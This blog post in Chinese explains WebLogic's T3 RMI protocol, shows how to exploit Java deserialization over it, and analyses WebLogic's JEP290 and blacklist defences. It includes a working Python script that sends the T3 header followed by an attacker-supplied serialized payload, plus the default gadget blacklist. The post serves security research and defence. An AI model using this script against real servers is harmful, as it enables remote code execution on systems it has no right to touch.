Hu3sky's blog

weblogic t3 协议利用与防御

Word count: 3,835 / Reading time: 17 min
2020/03/20 Share

前置知识

weblogic t3协议指的是weblogicrmi使用的t3协议,在java rmi中,默认rmi使用的是jrmp协议,webLogic包含了高度优化的RMI实现

在一般的基于jrmprmi,通信由4个部分组成

1
2
3
4
客户端对象
服务端对象
客户端代理对象(stub)
服务端代理对象(skeleton)

webLogic支持动态生成客户端Stub和服务器端skeleton,从而无需为RMI对象生成客户端Stub和服务器端skeleton,将对象部署到RMI 注册中心JNDI时,webLogic将自动生成必要的代理

RMI注册中心会随着weblogic服务的启动自动运行。

实现正常t3类的调用

接下来我们看一个例子来了解weblogic rmi
首先创建一个interface

1
2
3
4
5
package com.hu3sky.t3;

public interface Hello extends java.rmi.Remote{
public void sayHello() throws java.rmi.RemoteException;;
}

实现类

1
2
3
4
5
6
7
8
9
10
package com.hu3sky.t3;

import java.rmi.RemoteException;

public class HelloImpl implements Hello {
@Override
public void sayHello() throws RemoteException {
System.out.println("hello");
}
}

WebLogic不需要rmi对象的实现类扩展 UnicastRemoteObject。在一般的rmi对象中是必须要继承UnicastRemoteObject

Server端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.hu3sky.t3;

import javax.naming.*;
import java.util.Hashtable;

public class Server {

// The factory to use when creating our initial context
public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";

/**
* Create an instance of the Implementation class
* and bind it in the registry.
*/
public static void main(String[] args) {
try {
Context ctx = getInitialContext("t3://127.0.0.1:7001");
ctx.bind("HelloServer", new HelloImpl());
System.out.println("HelloImpl created and bound to the JNDI");
}
catch (Exception e) {
System.out.println("HelloImpl.main: an exception occurred!");
e.printStackTrace(System.out);
}
}

/* Creates the Initial JNDI Context */
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

Client端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.hu3sky.t3;

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
// Defines the JNDI context factory.
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

public Client() {
}

public static void main(String[] args) throws Exception {

try {
InitialContext ic = getInitialContext("t3://127.0.0.1:7001");
Hello obj = (Hello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer , call sayHello() : "+obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}

private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}


}

然而,此时还无法直接运行,需要使用WebLogic启动类注册RMI对象

步骤如下:

  1. 修改项目pom,打包为jar
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.hu3sky</groupId>
<artifactId>t3</artifactId>
<version>1.0-SNAPSHOT</version>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>com.hu3sky.t3.Server</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>

</project>
  1. 将jar包复制到域的/lib文件下,重启weblogic即可

成功后查看jndi树,会发现HelloServer成功被加载
f7fb02bc89e1ac798ccd0c5e7b53d870

接着我们再运行一下Client

3be2530cb197554ecf546100d90dd235

成功调用Server上的sayHello方法

分析流量

这是7001端口上的数据包,红色是客户端向服务器请求数据,蓝色的是服务器返回数据
可以看到发送的第一个数据包为T3协议头,其中第一行为t3weblogic客户端的版本号,weblogic服务器的返回数据的第一行为HELO:weblogic服务器的版本号。weblogic客户端与服务器发送的数据均以\n\n结尾。
96fcbdb1fab4654e2fc7dbe63b589436
最后返回Hello World
925dbc5de4af817f931ad6a4c69c11b1
我们再看下hex,不难发现其中的 ac ed 00 05 序列化魔术头,而且不止一处
f7ee771b4623accff2b1877d749282be

通过观察请求数据包,我们可以发现请求的数据包可以分为多个部分,我这里分离出了九个部分
第一部分的前四个字节为整个数据包的长度,第二至九部分均为JAVA序列化数据

其中第二到九部分序列化的类是

1
2
3
4
5
6
7
8
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.JVMID
weblogic.rjvm.JVMID
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ImmutableServiceContext
weblogic.rjvm.ImmutableServiceContext

从这里的红框部分开始,为第一个部分,后面的都是以 ac ed 00 05 开头的魔术头的反序列化部分
b09999688b2a90910b10b934f9e82a5e
中间其他部分就省略了
9a9d35261f9e814c8559c55eba0385cf

利用t3协议进行恶意序列化

在编写利用的过程中,需要发送两部分的数据

  • 请求包头,也就是
    1
    t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\nLP:DOMAIN\n\n

\n结束

  • 序列化数据部分,序列化部分的构成方式有两种:
    • 第一种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
    • 第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接

必须先发送T3协议头数据包,再发送JAVA序列化数据包,才能使weblogic进行JAVA反序列化,进而触发漏洞。如果只发送JAVA序列化数据包,不先发送T3协议头数据包,无法触发漏洞

脚本编写

这里我采取第二种方法进行脚本的编写,思路是:

  1. 建立socket请求
  2. 发送t3请求数据头
  3. 读取恶意序列化数据,将其拼接至第一部分序列化数据之后
  4. 将前四个字节的长度进行替换
  5. 发送恶意数据

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
import socket
import os
import sys
import struct

if len(sys.argv) < 3:
print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0])
sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://localhost:7001\nLP:DOMAIN\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload = '\x00\x00\x05\xf5\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x45\x0b\xfc\xbc\xe1\xa6\x4c\x6e\x64\x7e\xc1\x80\xa4\x05\x7c\x87\x3f\x63\x5c\x2d\x49\x1f\x20\x49\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00'
payload=payload+payloadObj

# adjust header for appropriate message length
payload=struct.pack('>I',len(payload)) + payload[4:]

print '[+] Sending payload...'
sock.send(payload)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

33a76960071a176e7f18ffcf00543c5f

服务端反序列化部分源码分析

这里只做部分分析,分析的比较浅,如果有地方分析有误还请师傅指出
通过观察log里的错误,可以发现调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
java.io.EOFException
at weblogic.utils.io.DataIO.readUnsignedByte(DataIO.java:435)
at weblogic.utils.io.DataIO.readLength(DataIO.java:829)
at weblogic.utils.io.ChunkedDataInputStream.readLength(ChunkedDataInputStream.java:150)
at weblogic.utils.io.ChunkedObjectInputStream.readLength(ChunkedObjectInputStream.java:206)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:43)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:325)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:219)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:557)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:666)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:397)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:993)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:929)
at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:599)
at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:563)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)

或者在idea里进行调试,也能看到调用栈
74b7b37cf59dbc8d01a2d65bb35e1c9f

1
关于muxer,`WebLogic Server`使用称为复用器(`muxer`)的软件模块来读取服务器上的传入请求和客户端上的传入响应,`SocketMuxer`管理服务器的现有套接字连接。它首先确定哪些套接字具有等待处理的传入请求。然后,它读取足够的数据来确定协议,并根据协议将套接字分配到适当的运行时层。在运行时层,套接字混合器线程确定要使用的执行线程队列,并相应地委派请求

先看到SocketMuxer初始化。在
8828d04b0323f746cc0611d445495188
调用initSocketMuxerOnServer,需要返回singleton的值
e3f53c42c20983ce8849c943a2372860
该值为makeTheMuxer函数的return
6a5587bd8dcc673028343859cbaeb6a7
由于KernelStatus.isServer()返回true,所以直接调用getNativeMuxerClassName(),获取本地muxer
545d1ca6dd91c6dbe4418a8e4d8c44f6
这里根据内核配置获取到的为NIOSocketMuxer
7a6d61f1c1552c5a75bdb64c210efda7
获取完之后,或调用muxerClassName的构造函数
091c17d0717be702cd155116f0cd3279
会创建Selector
4f7274cdcb80edf3b68b516d1a54a6d0
其中sockets成员变量来自抽象类SocketMuxer
629a07fe6d44235e374e8d6a3582c2e5

接着开启 socketReader 线程
b8b11411a8c5ee500a369d507047be46
看到SocketReaderRequest.rungetMuxer返回NIOSocketMuxer
43b9206c1af9fe334284c6e43c4d0081
跟进NIOSocketMuxer.processSockets
首先会调用selectFrom,这里会获取注册过的一些变量,比如sockets

(注册大致如下,就不细说了
4b6490840e3c638c1dc245de23065135)

接着看process方法,这里的SelectionKey键表示了一个特定的通道对象和一个特定的选择器对象之间的注册关系。

068bfea3bd76994972415b525bd684b2
ms是从NIOSocketMuxer中获取sockets,这里为MuxableSocketDiscriminator,用来鉴别套接字,之后再分发给相应的Muxer
27c6c7a1f80e249c0e0021e7dc11b375
跟进readReadySocket
c95411d36ae81d9c7ec223eb78616caa
然后调用dispatch
1e4f946ff5580508296b0d60d1ff0467
这里会根据我们发送的套接字数据,判断协议,返回t3
0a037404b1bccd1de7b6c0aaaae71abd
接着调用ProtocolHandlerT3.createSocket,创建相关的 Muxer
2e4573444c6eb52cbfd616ffbb5b1c57
e247da966bdf467d51350ed88ab3e648‘/

调用父类构造方法对channel等变量进行初始化,接着将connection变量赋值为T3MsgAbbrevJVMConnection
b62b70b2327ed0de6c16b1847df25848

1
this.connection.setDispatcher(ConnectionManager.create((RJVMImpl)null), false);

看到ConnectionManager.create
73240559b3a33ad085d7ceebc7eeaa8d
RJVMEnvironment环境为true,返回classnameweblogic.rjvm.ConnectionManagerServer,也就是dispatcher,然后调用setDispatcher设置dispatcher

创建完muxer之后,移除之前的sockets,也就是MuxableSocketDiscriminator,重新注册socketsMuxableSocketT3

6069fcbdf89619ca105b832851f9b4ec

再次循环调用process
aaf9856a789c95a1c666551a993af184
传入ms,也就是MuxableSocketT3,跟入readReadySocket
2711101d241178a3c3b8d7556f5d858b
接着调用readReadySocketOnce
6f0c6352ca694ed10c6a4a435e951850
往下走,调用dispatch进行分发
927e47c69560cee2b4506fbea9478f41
由于MuxableSocketT3没有无参的dispatch函数,于是调用父类BaseAbstractMuxableSocketdispatch
makeChunkList返回socket数据流,作为参数传入dispatch
c74bc0891e6edf19f51b41a1617089bb
接着调用T3MsgAbbrevJVMConnection.dispatch
a0700d2c498bb045ab800d4bbb2acb71
从之前设置的dispatcher获取incomingMessage
51b2e60be423ea85f976c9a7e6aee4f8
调用connection.readMsgAbbrevs
8ac30ce4523582f8778c6df28d84b120
跟进read函数
84a56b5d72b46a142d26768e3f3a211c
调用readObject函数
2697a3ab35894ce0889bbfdcdb740410
InboundMsgAbbrev.ServerChannelInputStream处理数据之后,调用ObjectInpuStream.readObject造成反序列化
541fd740195ae5a18417a01ff740fc72

防御机制

JEP290机制

JEP290机制是用来过滤传入的序列化数据,以提高安全性,其核心机制是序列化客户端需要实现ObjectInputStream上的ObjectInputFilter接口(低于jdk9的版本是在sun.misc这个package下,而jdk9是在 java.io 这个package下),利用checkInput方法来对序列化数据进行检测,如果有任何不合格的检测,Filter将返回Status.REJECTED

jdk9向下增加jep290机制的jdk版本为

1
2
3
Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)

这里使用测试版本jdk8u221
图上的流程已经很明显了,我们来看看如果被jdk拦截是什么样子的,这里我随便用了CommonsCollectionsgadget做测试,使用的测试版本jdk8u221
ad45c538ec486d5be2dfd14dab97604b

filterCheck

最终的拦截调用是
readOrdinaryObject->readClassDesc->readNonProxyDesc->filterCheck

abe3d7f0ac865cd38a3463ede2f9ba0d
这里的ObjectInputFilter类型变量serialFilterserialFilter的值是作为 JEP290对序列化数据进行检测的一个格式(里面包含需要做检测的默认值,用分号隔开。包名后面需要带星号,包名或者类名前面带感叹号的话表示黑名单,没有则表示白名单)

具体细则
be4c1150ec744cba0eb76c08a5bd7dac

这里的serialFilter值如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.UnicastRemoteObject;
!java.rmi.server.RemoteObjectInvocationHandler;
!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.RemoteObject;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*;
!java.rmi.activation.*;
!sun.rmi.server.*;
!org.jboss.interceptor.builder.*;
!org.jboss.interceptor.reader.*;
!org.jboss.interceptor.proxy.*;
!org.jboss.interceptor.spi.metadata.*;
!org.jboss.interceptor.spi.model.*;
!com.bea.core.repackaged.springframework.aop.aspectj.*;
!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;
!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;
!com.bea.core.repackaged.springframework.beans.factory.support.*;
!org.python.core.*

serialFilter赋值过程

来看看weblogic是如何初始化这个值的,weblogic在启动t3Server的时候,会进行filter的初始化,在初始化的时候,首先会实例化JreFilterApiProxy这个类
232e621388a82f56311b3aeeab7a2ce3
这里主要通过反射获取ObjectInputFilter的方法,当做一个api来使用,同时会调用determineJreFilterSupportLevel方来判断ObjectInputFilterpackage
f16e57969075256cb34bfc71bf35f8c5

接着会调用到weblogic.utils.io.oif.WebLogicFilterConfig的构造方法

de21cb8393b221bd49049b080d120735

92f55d193c40da0fca58a14f1c2dfe70
为初始化前,FilterPropertiesBlacklistProperties都为null,都返回false
于是跟进processDefaultConfiguration方法

1839c343081e8ceef36d0fbdc41145db

接着调用getDefaultFilterScope判断当前jdk,我们测试版本是8u221,返回GLOBAL
8d9ba9cd36d4a9c149194624075f8481
接着是constructSerialFilter,开始对serialFilter进行赋值,主要是对serialFilter的格式进行统一
黑名单主要来自DEFAULT_BLACKLIST_CLASSESDEFAULT_BLACKLIST_PACKAGES
f7e7f26d78f363777fd80aee4b8cdc71

serialFilter的赋值结束后,会通过反射调用ObjectInputFilter.setSerialFilter,对ObjectInputFilter接口的serialFilter赋值
fa38e526b76289d89641d0869aa1a73a

再之后,就是上文的ObjectInputFilter.checkInput的调用了
具体的检测过程如下
226bc96fc69be0fd67cfb367c1295fb4

这就是在jep290的机制下的weblogic配合jdk ObjectInputFilter 的一个检测过程,就是一个基于类/包的黑名单检测,还是存在绕过的可能性,比如最近的 CVE-2020-2555gadgets,可以参考 CVE-2020-2555 漏洞分析

jdk版本过低没有JEP290机制

接下来,修改启动版本为jdk8u91
先来看日志报错
16a816b59fb998a0b12734ca88d4c4ee

黑名单赋值

跟进代码看看weblogic启动t3的时候,依然是跟进到JreFilterApiProxy
2ccb1a400cfef14f6c9c1e496cca6b2d
determineJreFilterSupportLevel方法,由于加载不到ObjectInputFilter,所以直接将FilterSupportLevel设置为NULL,也就不会进入到下面的if判断里了,initialized属性也不会被设置为true
8fff9f52622c2b7062854744a877acc6
initializedfalse,返回isJreFilteringAvailable也为false
9d43c4f24c84ab0419f29b9bd52ca8db

接着往下走,依然会实例化WebLogicFilterConfig,初始化黑名单,这里和jep290有些区别
620cfe026a9935b05a8265d2038b949f
调用constructLegacyBlacklist,就是一个将DEFAULT_BLACKLIST_CLASSESDEFAULT_BLACKLIST_PACKAGES赋值给存放黑名单属性的函数,最后赋值给LEGACY_BLACKLIST属性
ef1e24c4e1a3108396db805c62766f75

resolveClass

在普通的java反序列化的过程中会调用resolveClass读取反序列化的类名,所以我们可以通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化的校验,来看weblogic是如何实现的

根据错误日志,定位到weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream

我们看到反序列化的点
bbce4b89a25a03eaf37205e75317ddb9
这里将类型转换为ServerChannelInputStream,该类继承了ObjectInputStream
586cfcce2c5934c378f7384a8aac350a

并且重写了resolveClass
1a6b937de113770f6284da63dfd638a0
在反序列化的时候,就会优先调用重写的resolveClass
545482c0dbb732b67c70b3739b40c854

接着跟进checkLegacyBlacklistIfNeeded
8f2a04951f24357e67f322836ed34ff0
这里首先会判断isJreFilteringAvailable属性(jep290机制下该值为true,所以不会用这种方法进行检测),然后会调用isBlacklistedLegacy判断反序列化类是否在黑名单里
b230a8c30c727eb539c355dc47197a64

最后通过一张“JSON反序列化之殇_看雪安全开发者峰会”的时序图进行总结
9889c67f3b23bdd65e0c70f5881305cf

Reference

CATALOG
  1. 1. 前置知识
  2. 2. 实现正常t3类的调用
    1. 2.1. 分析流量
    2. 2.2. 利用t3协议进行恶意序列化
      1. 2.2.1. 脚本编写
    3. 2.3. 服务端反序列化部分源码分析
  3. 3. 防御机制
    1. 3.1. JEP290机制
      1. 3.1.1. filterCheck
      2. 3.1.2. serialFilter赋值过程
    2. 3.2. jdk版本过低没有JEP290机制
      1. 3.2.1. 黑名单赋值
      2. 3.2.2. resolveClass
  4. 4. Reference